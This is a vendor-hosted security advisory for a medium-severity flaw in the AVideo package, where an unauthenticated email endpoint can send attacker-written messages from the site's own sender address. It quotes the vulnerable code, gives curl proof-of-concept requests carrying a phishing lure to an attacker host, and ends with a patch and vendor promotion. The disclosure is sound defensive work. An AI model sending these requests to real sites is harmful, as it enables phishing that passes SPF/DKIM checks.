Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

GHSA-5hgj-7gm9-cff5

MEDIUMFix: WWBN/AVideo@4e37098

GHSA-5hgj-7gm9-cff5 is a medium-severity (CVSS 5.3) vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-5hgj-7gm9-cff5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site’s Legitimate From Address

Also known asCVE-2026-43880
Published
May 5, 2026
Updated
May 13, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of May 13, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.

Details

Vulnerable code (objects/sendEmail.json.php):

10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12:     $valid = true;
13: }
...
16: if ($valid) {
...
24:     $mail = new \PHPMailer\PHPMailer\PHPMailer();
25:     setSiteSendMessage($mail);           // uses site's SMTP credentials
...
30:     $replyTo = User::getEmail_();
31:     if (empty($replyTo)) {
32:         $replyTo = $config->getContactEmail();   // <-- FALLBACK to site's own email
33:     }
34:
35:     $sendTo = $_POST['email'];            // attacker-controlled recipient
36:
37:     // if it is from contact form send the message to the siteowner and the sender is the email on the form field
38:     if (!empty($_POST['contactForm'])) {
39:         $replyTo = $_POST['email'];
40:         $sendTo  = $config->getContactEmail();
41:     }
42:
43:     if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44:         $mail->AddReplyTo($replyTo);       // site's address
45:         $mail->setFrom($replyTo);          // From: site's address
...
47:         $mail->addAddress($sendTo);        // TO: attacker-chosen victim
...
49:         $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50:         $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51:         $mail->msgHTML($msg);
...
55:         if (!$mail->send()) { ... }

User::getEmail_() (objects/user.php:345-352): returns '' when the caller is not logged in, driving the fallback to $config->getContactEmail().

Endpoint is publicly callable. objects/functionsSecurity.php:879-918 lists sendEmail.json.php in the built-in "public write actions" CSRF/same-domain bypass:

static $builtinBypass = [
    ...
    // Public write actions
    'sendEmail.json.php',
    ...
];
if (in_array($baseName, $builtinBypass, true)) { return; }

Why existing defenses don't mitigate the abuse:

  • Captcha (Captcha::validation): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.
  • FILTER_VALIDATE_EMAIL (line 43): validates $sendTo format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.
  • htmlspecialchars on $safeEmail/$safeComment/$safeFirstName: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender.
  • No rate limiting, no auth check, no association between the caller and the recipient address.

Flow summary for the abuse case (unauthenticated, no contactForm):

  1. User::getEmail_()'', so $replyTo = site's contact email (line 32)
  2. $sendTo = attacker's chosen recipient (line 35)
  3. contactForm branch skipped (line 38)
  4. Site's SMTP sends From: <site contact> to <victim> with attacker's subject/body (lines 44-51)

Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.

PoC

Endpoint: POST /objects/sendEmail.json.php (also reachable via POST /sendEmail per .htaccess:201).

# 1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
# attacker manually solves the captcha -> e.g. 'abc123'

# 2. Send phishing email. Note: contactForm is OMITTED.
#    - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
#    - $sendTo = attacker-chosen recipient
#    - setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=abc123' \
  --data-urlencode '[email protected]' \
  --data-urlencode 'first_name=Support Team' \
  --data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'

Expected server response:

{"error":"","success":"Message sent"}

Delivered headers at [email protected]:

From: <site's legitimate contact email, e.g. [email protected]>
Reply-To: <site's legitimate contact email>
To: [email protected]
Subject: Message From Site <SiteName> (Support Team)
Body:   <b>Email:</b> [email protected]<br><br>Urgent: Your account will be suspended...

Contrast with the intended contactForm=1 flow (correctly routes to the site owner):

curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=<newcaptcha>' \
  --data-urlencode '[email protected]' \
  --data-urlencode 'comment=hi' \
  --data-urlencode 'contactForm=1'
# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)

Omitting contactForm inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.

Impact

  • Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
  • Brand impersonation / account-takeover chains. Attacker-controlled subject (first_name) and body (comment) support credential-harvesting pages that appear to come from the site operator.
  • Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
  • Works against any AVideo instance with SMTP configured — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.

Recommended Fix

Collapse the endpoint to contact-owner-only behavior and require either authentication or contactForm=1. Minimal patch:

// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
    $valid = true;
}

// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
    $obj = new stdClass();
    $obj->error = __("Authentication required");
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

$obj = new stdClass();
$obj->error = '';
if ($valid) {
    ...
    $replyTo = User::getEmail_();
    if (empty($replyTo)) {
        // Should no longer be reachable for arbitrary recipients.
        // Keep as defense-in-depth only for contactForm=1 path.
        $replyTo = $config->getContactEmail();
    }
    ...
}

Additional hardening:

  1. Always use a dedicated no-reply@ address in setFrom(); put the caller's address only in Reply-To. Never reuse $config->getContactEmail() as the From for user-initiated messages.
  2. For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP.
  3. Drop the non-contactForm branch entirely if no legitimate unauthenticated UI caller remains.
  4. Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-5hgj-7gm9-cff5 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-5hgj-7gm9-cff5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-5hgj-7gm9-cff5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `objects/sendEmail.json.php` exposes two branches depending on whether `contactForm=1` is submitted. When the parameter is omitted, the endpoint sets `$sendTo` to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message `From:`/`Reply-To:`. The endpoint is explicitly allow-listed as a "public write action" in `objects/functionsSecurity.php` (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arb
O3 Security · Impact-Aware SCA

Is GHSA-5hgj-7gm9-cff5 in your dependencies?

O3 detects GHSA-5hgj-7gm9-cff5 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-5hgj-7gm9-cff5: wwbn/avideo… | O3 Security